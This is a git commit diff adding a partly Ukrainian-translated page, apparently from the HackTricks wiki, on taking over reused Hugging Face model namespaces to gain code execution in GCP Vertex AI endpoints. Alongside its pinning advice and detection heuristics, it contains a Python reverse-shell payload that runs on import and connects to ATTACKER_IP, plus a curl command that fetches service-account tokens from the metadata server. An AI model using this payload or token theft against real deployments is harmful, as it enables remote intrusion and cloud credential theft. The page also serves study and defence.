Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-09-29 21:17:04 +00:00
parent c18ec3f0dd
commit 95023dcb3b
5 changed files with 272 additions and 52 deletions

View File

@@ -1,3 +1,9 @@
# GCP - Постексплуатація
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
gcp-vertex-ai-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,113 @@
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## Сценарій
- Vertex AI Model Garden дозволяє безпосереднє розгортання багатьох Hugging Face (HF) моделей.
- HF ідентифікатори моделей мають формат Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути повторно зареєстроване будь-ким. Атакуючі можуть створити репозиторій з тим самим ModelName за тим самим старим шляхом.
- Пайплайни, SDKs або хмарні каталоги, які отримують модель лише за іменем (без pinning/integrity), завантажать репозиторій, контрольований атакуючим. Коли модель розгортається, код завантажувача з цього репозиторію може виконатися всередині контейнера кінцевої точки Vertex AI, що дає RCE з правами кінцевої точки.
Два поширені випадки takeover на HF:
- Ownership deletion: старий шлях повертає 404, поки хтось не зареєструє автора і не опублікує той самий ModelName.
- Ownership transfer: HF повертає 307 redirect з старого Author/ModelName до нового автора, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований атакуючим, ланцюжок редиректів буде порвано і репозиторій атакуючого обслуговуватиме застарілий шлях.
## Визначення повторно використовуваних просторів імен (HF)
- Старий автор видалений: сторінка автора повертає 404; шлях моделі може повертати 404, поки не відбудеться takeover.
- Передані моделі: старий шлях моделі повертає 307 до нового власника, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований, застарілий шлях буде вказувати на репозиторій атакуючого.
Швидкі перевірки за допомогою curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Повний сценарій атаки проти Vertex AI
1) Виявити повторно використовувані простори імен моделей, які Model Garden відображає як deployable:
- Знайти HF models у Vertex AI Model Garden, які досі показуються як “verified deployable”.
- Перевірити на HF, чи оригінальний автор видалений або чи модель була передана і старий автор пізніше видалений.
2) Повторно зареєструвати видаленого автора на HF та відтворити той самий ModelName.
3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
- Побічні ефекти в __init__.py репо
- Custom modeling_*.py або processing code, на які посилається config/auto_map
- Code paths that require trust_remote_code=True in Transformers pipelines
4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
5) Payload establishes access from the endpoint environment (RCE) with the endpoints permissions.
Example payload fragment executed on import (for demonstration only):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Примітки
- Реальні loaders відрізняються. Багато інтеграцій Vertex AI HF клонує та імпортує модулі з repo, на які посилається конфіг моделі (наприклад, auto_map), що може спричинити виконання коду. Деякі випадки вимагають trust_remote_code=True.
- Зазвичай endpoint запускається в окремому контейнері з обмеженою сферою, але це дійсна початкова опора для доступу до даних та lateral movement у GCP.
## Post-Exploitation Tips (Vertex AI Endpoint)
Once code is running inside the endpoint container, consider:
- Перелічити environment variables та metadata для credentials/tokens
- Отримати доступ до attached storage або змонтованих model artifacts
- Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistence у model artifact якщо платформа re-pulls repo
Перелічте instance metadata, якщо доступно (залежить від контейнера):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Захисні рекомендації для користувачів Vertex AI
- Закріплюйте моделі за commit у HF loaders, щоб запобігти тихому заміщенню:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Зберігайте перевірені HF models у довіреному внутрішньому artifact store/registry і розгортайте їх звідти.
- Постійно скануйте репозиторії коду та конфіги на наявність жорстко закодованих Author/ModelName, які були видалені/перенесені; оновлюйте до нових namespaces або фіксуйте (pin) на коміті.
- У Model Garden перевіряйте походження моделі та існування автора перед розгортанням.
## Евристики виявлення (HTTP)
- Видалений автор: сторінка автора повертає 404; старий шлях до моделі повертає 404 до моменту takeover.
- Перенесена модель: старий шлях дає 307 на нового автора, поки старий автор існує; якщо старого автора згодом видалять і зареєструють заново, старий шлях може віддавати контент від атакуючого.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Перехресні посилання
- Див. ширшу методологію та зауваження щодо ланцюга постачання:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## Посилання
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}